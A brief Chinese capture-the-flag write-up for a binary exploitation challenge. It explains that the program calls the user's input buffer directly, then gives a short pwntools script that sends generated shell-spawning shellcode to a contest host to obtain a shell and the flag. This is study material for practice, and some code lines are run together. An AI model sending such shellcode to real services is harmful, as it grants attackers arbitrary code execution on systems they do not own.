远程连接环境。没什么有效信息,只是提示我们这道题会用到 shellcode。
file 查看文件。64 位可执行 ELF 文件。
checksec 查看文件安全属性。有了栈溢出保护,以及 PIE 保护
IDA 打开文件,尝试反编译,但是失败了。
直接看汇编代码。
lea rax, [ebp+buf]:rax指向用户输入的缓冲区
call rax:直接调用用户输入的缓冲区地址
所以这题只需要发送一个shellcode就可以执行任意代码
exp:
from pwn import *
r=remote('node4.anna.nssctf.cn',28998) context.log_level='debug'
context.arch='amd64'
context.os='linux'
shellcode=asm(shellcraft.sh()) r.send(shellcode)
r.interactive()
得到 flag